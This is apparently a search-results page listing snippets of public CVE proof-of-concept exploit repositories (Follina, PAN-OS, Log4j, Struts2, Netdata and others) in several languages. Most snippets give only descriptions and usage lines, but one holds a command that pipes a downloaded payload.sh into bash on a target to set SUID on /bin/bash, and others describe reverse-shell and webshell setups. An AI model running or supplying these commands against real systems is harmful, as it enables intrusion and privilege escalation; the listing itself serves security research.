12880 matches found
Py3-CVE-2017-0785
Py3-CVE-2017-0785 Docs to our POC...
Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis
Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis Exploración de la vulnerabilidad Follina CVE-2022-30190 de Microsoft Office, que incluye un análisis detallado, explotación de prueba de concepto en un laboratorio controlado y estrategias de mitigación. Solo con fines educativos y de...
HiveV5_keystream_decryptor
PoC de descifrado de flujo de claves keystream de HiveV5 Introducción La muestra de Hive analizada y referenciada en este documento fue elegida aleatoriamente de esta lista creada por @rivitna, a quien agradezco enormemente. Los artefactos están disponibles en la plataforma VirusTotal. En este...
CVE-2024-9474
Palo Alto PAN-OS Exploit PoC - CVE-2024-0012 y CVE-2024-9474 Este script es un exploit de Prueba de Concepto PoC para vulnerabilidades encontradas en Palo Alto PAN-OS CVE-2024-0012 y CVE-2024-9474. El script se puede utilizar para escanear una lista de URL en busca de la vulnerabilidad o explotar...
gerapy-cve-2021-43857
Gerapy CVE-2021-43857 RCE autenticado Este repositorio contiene una prueba de concepto del exploit para CVE-2021-43857 , una vulnerabilidad de ejecución remota de código que afecta a Gerapy -p -L -P Requisitos 1. Python 3.x 2. requests y pyfiglet pip install requests pyfiglet 3. Netcat nc...
CVE-2017-7269
徽章 许可证 MIT 安装 1. 安装 Python3 和 pip 说明在此处（如果你连这个都搞不定，那你真的不应该使用这个工具） 通过 pip 安装 root@kitploit: pip install CVE-2017-7269 运行以下命令检查 CVE-2017-7269 -h 配置 2. 我们集成了 Telegram API，以便在检测到漏洞时即时发送通知。 Telegram 通知 root@kitploit: CVE-2017-7269 --chatid 打开 Telegram 并搜索 @CappricioSecuritiesToolsbot，然后点击开始 使用方法 3...
my_vulnerabilities
myvulnerabilities Compartiré algunos de los poc de vulnerabilidades que reporté...
Awesome-CVE-2021-44228
Awesome-CVE-2021-44228 关于 CVE-2021-44228 的精选仓库列表。 PoC tangxiaofeng7 https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce christophetd https://github.com/christophetd/log4shell-vulnerable-app jas502n https://github.com/jas502n/Log4j2-CVE-2021-44228 HyCraftHD...
vulnerability-poc
Repositorio de PoC de Vulnerabilidades Código de Prueba de Concepto PoC seleccionado, laboratorios de prueba y reglas de prevención para CVEs de alta severidad — creado para pruebas de seguridad autorizadas, pruebas de penetración, desafíos CTF e investigación de seguridad. Mantenido por el equip...
CVE-2021-26814
CVE-2021-26814 一个简单的Python PoC，用于利用CVE-2021-26814 并通过API服务在Wazuh Manager （v.4.0.0-4.0.3）上获得RCE。 运行它，只需将.py脚本设置为可执行，并使用所需参数启动它。 root@kitploit: PoC.py -h -user USERNAME -pwd PASSWORD -lip SRCIP -lport SRCPORT -tip DESTIP -tport DESTPORT 警告 ：管理器上的wazuh-apid.py文件将被更改！...
CVE-2023-46818
CVE-2023-46818 PoC 这是由 Egidio Romano（又名 EgiX）在此处提供的 PoC 的 Python 实现。该漏洞利用工具将为您弹出一个 WebShell；如需获得完全交互式 shell，请执行一条命令并向自己发送一个反向 shell。 用法 root@kitploit: python exploit.py http://localhost username password 免责声明 本 PoC 的作者对任何人的行为不承担任何责任，请仅在 CTF 或演示中使用此漏洞利用工具。 — Vulner（又名 Abumalik）...
CVE-2024-32019-poc
CVE-2024-32019-poc Netdata ndsudo 漏洞利用验证 PoC 构建二进制文件： root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme 运行 bash 脚本： root@kitploit: bash exploit.sh 在目标机器上，在可写目录中运行： root@kitploit: curl http://:8000/payload.sh | bash 它会自动下载 nvme 二进制文件，导出路径，运行 ndsudo 并给 /bin/bash 添加 SUID 权限。 你可能需要修改...
CVE-2019-3980
CVE-2019-3980 CVE-2019-3980 漏洞利用程序，使用 win32/c++ 编写（依赖于 openssl）。移植自 https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py 说明 此 PoC 需要静态链接的 openssl 库。将 openssl 头文件放在 thirdparty\include\openssl 中，库文件放在 thirdparty\libs\openssl$PlatformShortName\ 中。 大致的 openssl 构建说明： 安装...
RCE-PoC-CVE-2021-25646
CVE-2021-25646 Proof-of-Concept Go Version Overview This repository contains a proof-of-concept PoC exploit for CVE-2021-25646, a critical remote code execution vulnerability in Apache Druid. The exploit is written in Go and allows for interactive command injection via the terminal. Features...
cve-2018-12386
Firefox 沙盒化 RCE 漏洞利用 CVE-2018-12386 这是一个针对漏洞 CVE-2018-12386 的简单漏洞利用程序，由 Niklas Baumstark、Samuel Groß 和 Bruno Keith 发现。 这主要是一个我出于兴趣编写的 PoC（概念验证），不包含沙盒绕过，并且仅适用于已知利用程序所用偏移量的特定 Linux 环境（偏移量可在 exploit/offsets.js 中修改）。 该漏洞利用程序适用于 Firefox 62.0.3 及 Firefox ESR 60.2.2 之前的版本。 下载 Firefox 以测试漏洞利用程序 你可以直接从...
struts2-jakarta-inject
POC Exploit para CVE-2017-5638 Utilice este exploit únicamente en sistemas de su propiedad o sobre los que tenga permisos explícitos para realizar pruebas Instalación Si ya tiene go instalado en su computadora, go get es la forma de hacerlo go get github.com/Greynad/struts2-jakarta-inject Uso...
CVE-2023-6019
Python POC derivado del POC del autor Uso python3 CVE-2023-6019.py -t 192.168.191.37 -p 9000 -l 192.168.45.xxx -lp 4444...
CVE-2013-3827
CVE-2013-3827 针对可能因CVE-2013-3827通过目录遍历暴露的常见配置的快速PoC检查器 使用: 1. 修改traversal.py的内容以符合你的需求 2. python3 traversal.py...
Joomla-CVE-2015-8562-PHP-POC
Joomla-CVE-2015-8562-PHP-POC Joomla CVE-2015-8562 漏洞的概念验证（PoC） 简介 此 PoC 几乎完全复制了 Gary 的 Python 实现，该实现托管在 exploit-db 上。 使用方法 安装过程非常简单： root@kitploit: git clone https://github.com/RobinHoutevelts/Joomla-CVE-2015-8562-PHP-POC.git cd Joomla-CVE-2015-8562-PHP-POC composer install Composer 安装完所有依赖后，你需要修...